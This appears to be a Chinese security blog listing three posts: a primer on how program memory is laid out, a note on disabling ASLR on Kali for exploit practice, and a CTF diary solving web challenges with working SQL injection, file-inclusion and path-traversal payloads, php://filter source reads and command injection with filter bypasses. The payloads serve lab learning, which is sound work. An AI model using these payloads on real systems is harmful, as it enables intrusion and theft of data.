找到
3
篇与
网安
相关的结果
-
程序数据是如何在内存中组织的 程序数据是如何在内存中组织的图片 如图，右侧是一片内存空间，地址由下往上升高。 具体参数： Kernel 代表操作系统的核心源码 1. Text（代码区）： 作用：Text 区域存储程序的可执行代码，也就是程序的指令集。在 C 语言中，它包含了所有的函数体，如 main 函数、sum 函数以及程序中的字符串常量等。 特点： 只读：代码区通常是只读的，这是为了防止程序在运行时修改自己的代码，增加安全性。 不可变：一旦程序加载到内存，Text 区的内容通常不会发生变化，除非程序被重新编译。 存储结构：存储的是指令和常量数据，如字符串 "Hello world!"。 示例： int sum(int x, int y) { return x + y; }sum 函数存储在 Text 区域，它包含了程序的计算逻辑。在程序执行时，CPU 会从 Text 区读取并执行这些指令。 2. Data（数据区）： 作用：Data 区域存储初始化过的全局变量和静态变量。所有在程序中显式初始化的全局变量会存储在这个区域。 特点： 初始化变量：如果你声明并初始化了全局变量，它们会被存储在 Data 区。例如 char* str = "Hello, world!"; 中的 str 就是一个全局变量。 持久性：这些变量在程序运行时会一直存在，并且在不同的函数之间共享。 示例： char* str = "Hello, world!"; // 这部分存储在Data区str 是一个初始化的全局变量，它存储在 Data 区，初始化时指向字符串 "Hello, world!"。 3. Bss（未初始化数据区）： 作用：BSS 区域存储未初始化的全局变量或静态变量。它们在程序开始时没有显式地被赋值，但在程序执行时，操作系统会为它们分配零值（默认值）。 特点： 未初始化变量：在程序编译时，所有未初始化的全局变量和静态变量都会存储在 BSS 区。例如，声明一个全局变量但没有赋值，它就存储在 BSS 区。 默认值为零：BSS 区的变量在程序加载到内存时会被初始化为零或空指针（视类型而定）。 示例： int glb; // 这部分存储在BSS区，未初始化glb 是一个未初始化的全局变量，它会存储在 BSS 区，并在程序开始时默认被初始化为 0。 4. Heap（堆区）： 作用：Heap 区用于动态内存分配。当程序运行时，需要分配内存时（例如通过 malloc 或 new），这些内存会被分配到堆区。程序员需要手动管理这些内存，使用 free 或 delete 来释放。 特点： 动态分配：Heap 区的内存大小是动态变化的，取决于程序运行时的内存分配需求。 管理复杂：程序员需要自行管理堆内存，否则可能会导致内存泄漏（未释放的内存）或悬挂指针（指向已释放的内存）。 示例： int* ptr = malloc(10 * sizeof(int)); // 动态分配内存，存储在Heap区通过 malloc 分配的内存会存储在 Heap 区。在此例中，ptr 指向堆区分配的内存空间。 5. Shared Libraries（共享库）： 作用：Shared Libraries 区域存储程序在运行时加载的共享库。共享库包含了多个程序共享的代码，减少了内存的使用。操作系统会在程序加载时把这些共享库加载到内存中，并将它们映射到程序的地址空间中。 特点： 动态链接：共享库在程序运行时被动态链接，不同程序可以共享同一个库，节省内存。 共享代码：多个程序可以同时使用同一个库的代码，避免了重复加载。 示例： 假设程序中使用了 printf 函数，这个函数通常会从标准 C 库（如 libc）中加载。libc 就是一个共享库。 共享库的代码通常会存储在程序的内存区域中，当程序调用 printf 时，会跳转到 libc 中对应的实现。 6. Stack（栈区）： 作用：Stack 区用于存储函数的局部变量、函数参数以及返回地址。当函数被调用时，栈会存储该函数的返回地址、局部变量以及其他调用信息。栈在函数调用时自动分配，并在函数返回时释放。 特点： 自动管理：栈区的内存由操作系统自动管理，程序员不需要手动分配和释放。 先进后出：栈的内存分配遵循 LIFO（后进先出）原则，每当一个函数调用时，栈会压入相应的信息；当函数返回时，栈会弹出这些信息。 溢出问题：栈的大小是有限的，如果栈空间过大（例如递归深度过深），可能会导致栈溢出（stack overflow）。 示例： void sum(int a, int b) { int c = a + b; // 局部变量c存储在栈区 }函数 sum 的参数 a、b 和局部变量 c 都存储在栈区。当函数执行时，它们会被压入栈；函数返回后，它们会从栈中弹出。 总结： Text 区存储程序的可执行代码。 Data 区存储已初始化的全局变量。 BSS 区存储未初始化的全局变量。 Heap 区存储动态分配的内存。 Shared Libraries 区存储共享库。 Stack 区存储函数的局部变量、参数和返回地址。
-
Kali关闭地址空间布局随机化（ASLR） 检查当前 ASLR 状态 cat /proc/sys/kernel/randomize_va_space 返回 0：ASLR 完全关闭 返回 1：部分随机（栈、堆、共享库等随机，但主程序可能不随机） 返回 2：完全随机（默认值，最安全，但对于 Pwn 最不友好） 临时关闭（当前终端有效） echo 0 | sudo tee /proc/sys/kernel/randomize_va_space针对单个程序关闭 ASLR setarch `uname -m` -R ./your_pwn_programsetarch + -R 参数会让该进程的地址空间 不随机化
-
【CTF】Day 1 重操旧业！ [极客大挑战 2019]EasySQL 题目截图图片 进入后发现是账号登录的界面，尝试一些特殊字符串，如单引号，发现报错： You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'' at line 1 这说明存在注入点，我们输入账号为以下值，密码随意输入后，即可拿到 flag。 Payload test' or 1;# [极客大挑战 2019]Havefun 进去后是一只猫，点击后没什么反应，只能先审计源代码。在根目录发现如下代码： <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->Havefun截图图片 直接在 URL 内带参，即可得到 flag。 Payload /?cat=dog[HCTF 2018]WarmUp 进去后是个滑稽，老样子先审计代码，发现 HTML 注释内带着一个文件名：source.php，访问后发现输出代码： 源码截图图片 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>代码审计 checkFile 函数 判断 page，如果为空或不为字符串，则返回 false。 检测 page 是否在白名单列表内，如果在，则返回 true。 新建 _page 变量，拼接 page 和问号，然后截取问号前的内容，再次判断是否在白名单。还会进行一次 urldecode 提高兼容性。 在白名单列表里还有 hint.php，访问后提示：flag not here, and flag in ffffllllaaaagggg，说明 flag 在一个名为 ffffllllaaaagggg 的文件内。 根据逻辑，可以传入白名单文件名并在后面加问号，这样 checkFile 通过校验，而后面的 include 则能拼接访问到真正的 flag。 Payload /?file=source.php?../../../../../ffffllllaaaagggg[ACTF2020 新生赛]Include 进入后只有个超链接 tips，点击后访问 ?file=flag.php，输出 Can you find out the flag?。 题目提示了是 include，于是尝试 index.php，发现输出重复，说明重复调用，需要加密输出。 尝试 php://input 被拦截，提示 hacker。于是使用 php://filter： ?file=php://filter/read=convert.base64-encode/resource=index.php解码后代码如下： <meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo '<a href="?file=flag.php">tips</a>'; } ?>同理，读取 flag.php 即可获取 flag。 Payload /?file=php://filter/read=convert.base64-encode/resource=flag.php[ACTF2020 新生赛]Exec 进去后有一个输入框，可以进行 ping IP 操作，下面有回显。 exec截图1图片 题目提示 exec，推断是 ping IP，于是构造命令： exec截图2图片 127.0.0.1&&cd /&&ls看到回显中有 flag，直接查看： Payload 127.0.0.1&&cat /flag[GXYCTF2019]Ping Ping Ping 进入后提示 /?ip=，输入 ?ip=127.0.0.1，输出了 ping 结果。 在 IP 后加入 ls 成功执行，发现有 index.php 和 flag.php。 尝试 cat flag.php 提示不能有空格，于是用 $IFS 代替，结果发现不能使用 flag 关键字。于是想到用 base64 执行： ?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d|bash提示 bash 不能用，尝试了花括号、小括号、星号都不行，最后用反引号成功。 Payload /?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d[SUCTF 2019]EasySQL 进入后是一段话：Give me your flag, I will tell you if the flag is right. 下方有个输入框。 输入 flag 后提示 NONONO；输入双引号也提示 NONONO，推断有屏蔽词，比如 and、or、from。 输入数字时返回 Array ( [0] => 1 )，说明可以查表，但语句中不能出现屏蔽词。 查阅 WP，有两种方法： 利用 SQL 查询逻辑 数字输入有回显，字符串无回显，说明存在 OR 逻辑。SQL 语句大概是： select cmd || flag from flag当 cmd=*,1 时： select *,1 || flag from flag这样 1 短路第一个 flag，成功查询出 flag。 利用 sql\_mode sql_mode 控制 SQL 语法，PIPES_AS_CONCAT 会将 || 当作字符串连接符，而不是逻辑或。 Payload *,11;set sql_mode=PIPES_AS_CONCAT;select 1今天学到很多，睡觉睡觉。
